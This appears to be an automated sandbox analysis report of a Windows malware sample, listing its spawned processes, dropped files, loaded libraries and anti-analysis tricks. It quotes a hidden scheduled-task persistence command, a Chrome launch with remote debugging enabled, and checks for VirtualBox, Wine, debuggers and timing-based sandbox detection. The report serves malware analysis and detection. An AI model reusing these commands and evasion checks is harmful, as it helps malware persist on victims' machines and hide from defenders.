Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1912 -s 1772
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2532 --field-trial-handle=2332,i,5809787163742602357,12593231709092399536,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehoypkfwhvokjmbqaexv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehoypkfwhvokjmbqaexv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehoypkfwhvokjmbqaexv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Section loaded: ehoypkfwhvokjmbqaexv.dll	Jump to behavior

Source: kGxQbLOG7s.exe

Static file information: File size 4442112 > 1048576

Source: kGxQbLOG7s.exe	Static PE information: Raw size of is bigger than: 0x100000 < 0x283e00
Source: kGxQbLOG7s.exe	Static PE information: Raw size of pggsbtrm is bigger than: 0x100000 < 0x1b4e00

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Code function: 9_2_00488230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError,

9_2_00488230

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: kGxQbLOG7s.exe

Static PE information: real checksum: 0x4432dc should be: 0x43e323

Source: kGxQbLOG7s.exe	Static PE information: section name:
Source: kGxQbLOG7s.exe	Static PE information: section name: .idata
Source: kGxQbLOG7s.exe	Static PE information: section name:
Source: kGxQbLOG7s.exe	Static PE information: section name: pggsbtrm
Source: kGxQbLOG7s.exe	Static PE information: section name: umcppckl
Source: kGxQbLOG7s.exe	Static PE information: section name: .taggant
Source: service123.exe.0.dr	Static PE information: section name: .eh_fram
Source: ehoYPkfWhVokJMBQaExv.dll.0.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_0048A499 push es; iretd	9_2_0048A694
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C850C30 push eax; mov dword ptr [esp], edi	9_2_6C850DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C81ED10 push eax; mov dword ptr [esp], ebx	9_2_6C81EE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E8E7A push edx; mov dword ptr [esp], ebx	9_2_6C7E8E8E
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F4E31 push eax; mov dword ptr [esp], ebx	9_2_6C7F4E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7EA947 push eax; mov dword ptr [esp], ebx	9_2_6C7EA95B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C808AA0 push eax; mov dword ptr [esp], ebx	9_2_6C80909F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C81EAB0 push eax; mov dword ptr [esp], ebx	9_2_6C81EBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F2AAC push edx; mov dword ptr [esp], ebx	9_2_6C7F2AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F0AA2 push eax; mov dword ptr [esp], ebx	9_2_6C7F0AB6
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C822BF0 push eax; mov dword ptr [esp], ebx	9_2_6C822F24
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C822BF0 push edx; mov dword ptr [esp], ebx	9_2_6C822F43
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E8435 push edx; mov dword ptr [esp], ebx	9_2_6C7E8449
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E04E0 push eax; mov dword ptr [esp], ebx	9_2_6C7E06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C808460 push eax; mov dword ptr [esp], ebx	9_2_6C808A5F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E048B push eax; mov dword ptr [esp], ebx	9_2_6C7E04A1
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7EA5A7 push eax; mov dword ptr [esp], ebx	9_2_6C7EA5BB
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7C1CFA push eax; mov dword ptr [esp], ebx	9_2_6C876622
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7C1CFA push eax; mov dword ptr [esp], ebx	9_2_6C876622
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C8306B0 push eax; mov dword ptr [esp], ebx	9_2_6C830A4F
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E06FD push eax; mov dword ptr [esp], ebx	9_2_6C7E06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E66F3 push edx; mov dword ptr [esp], ebx	9_2_6C7E6707
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C822620 push eax; mov dword ptr [esp], ebx	9_2_6C822954
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C822620 push edx; mov dword ptr [esp], ebx	9_2_6C822973
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E06A6 push eax; mov dword ptr [esp], ebx	9_2_6C7E06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E06A2 push eax; mov dword ptr [esp], ebx	9_2_6C7E06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F86A1 push 890005EAh; ret	9_2_6C7F86A9
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7EA777 push eax; mov dword ptr [esp], ebx	9_2_6C7EA78B
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7E070E push eax; mov dword ptr [esp], ebx	9_2_6C7E06DA
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7F0042 push eax; mov dword ptr [esp], ebx	9_2_6C7F0056
Source: C:\Users\user\AppData\Local\Temp\service123.exe	Code function: 9_2_6C7BE0D0 push eax; mov dword ptr [esp], ebx	9_2_6C876AF6

Source: kGxQbLOG7s.exe

Static PE information: section name: pggsbtrm entropy: 7.956358946570689

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File created: C:\Users\user\AppData\Local\Temp\ehoYPkfWhVokJMBQaExv.dll			Jump to dropped file
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	Window searched: window name: Regmonclass	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_9-160732

Found stalling execution ending in API Sleep call

Source: C:\Users\user\AppData\Local\Temp\service123.exe

Stalling execution: Execution stalls by calling Sleep

graph_9-160733

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WINDBG.EXE
Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNUM_PROCESSORNUM_RAMNAMEALLFREEDRIVERSNUM_DISPLAYSRESOLUTION_XRESOLUTION_Y\RECENT_FILESPROCESSESUPTIME_MINUTESC:\WINDOWS\SYSTEM32\VBOX.DLL01VBOX_FIRSTSYSTEM\CONTROLSET001\SERVICES\VBOXSFVBOX_SECONDC:\USERS\PUBLIC\PUBLIC_CHECKWINDBG.EXEDBGWIRESHARK.EXEPROCMON.EXEX64DBG.EXEIDA.EXEDBG_SECDBG_THIRDYADROINSTALLED_APPSSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALLSOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL%D%S\%SDISPLAYNAMEAPP_NAMEINDEXCREATETOOLHELP32SNAPSHOT FAILED.
Source: kGxQbLOG7s.exe, 00000000.00000003.1430064017.000000000705F000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 82E137 second address: 82E160 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FDEF8F19BB8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FDEF8F19BC7h 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 82D953 second address: 82D957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A27D9 second address: 9A27E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FDEF8F19BB6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A27E5 second address: 9A27E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5C85 second address: 9A5C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5C8A second address: 9A5C90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5C90 second address: 9A5C94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5C94 second address: 9A5CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov si, 5C39h 0x0000000d push 00000000h 0x0000000f mov ecx, ebx 0x00000011 call 00007FDEF8F40769h 0x00000016 push eax 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push esi 0x0000001b pop esi 0x0000001c popad 0x0000001d pop eax 0x0000001e push eax 0x0000001f jmp 00007FDEF8F40776h 0x00000024 mov eax, dword ptr [esp+04h] 0x00000028 jno 00007FDEF8F4076Ah 0x0000002e mov eax, dword ptr [eax] 0x00000030 push eax 0x00000031 push edx 0x00000032 jnp 00007FDEF8F4076Ch 0x00000038 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5CEB second address: 9A5D49 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDEF8F19BB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f push edi 0x00000010 jno 00007FDEF8F19BB6h 0x00000016 pop edi 0x00000017 jmp 00007FDEF8F19BC2h 0x0000001c popad 0x0000001d pop eax 0x0000001e and esi, 28526C2Dh 0x00000024 push 00000003h 0x00000026 push 00000000h 0x00000028 mov edi, ecx 0x0000002a push 00000003h 0x0000002c mov si, 9B9Dh 0x00000030 call 00007FDEF8F19BB9h 0x00000035 jmp 00007FDEF8F19BC1h 0x0000003a push eax 0x0000003b push edx 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5D49 second address: 9A5D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FDEF8F40771h 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5D6B second address: 9A5D6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5D6F second address: 9A5DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDEF8F40771h 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 je 00007FDEF8F40774h 0x00000016 pushad 0x00000017 jmp 00007FDEF8F4076Ah 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f pop eax 0x00000020 sub dword ptr [ebp+122D23EEh], edi 0x00000026 lea ebx, dword ptr [ebp+1244BB56h] 0x0000002c sub edi, dword ptr [ebp+122D29CBh] 0x00000032 xchg eax, ebx 0x00000033 push esi 0x00000034 push eax 0x00000035 push edx 0x00000036 push edi 0x00000037 pop edi 0x00000038 rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5E1E second address: 9A5E32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDEF8F19BBAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\kGxQbLOG7s.exe	RDTSC instruction interceptor: First address: 9A5E32 second address: 9A5E3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
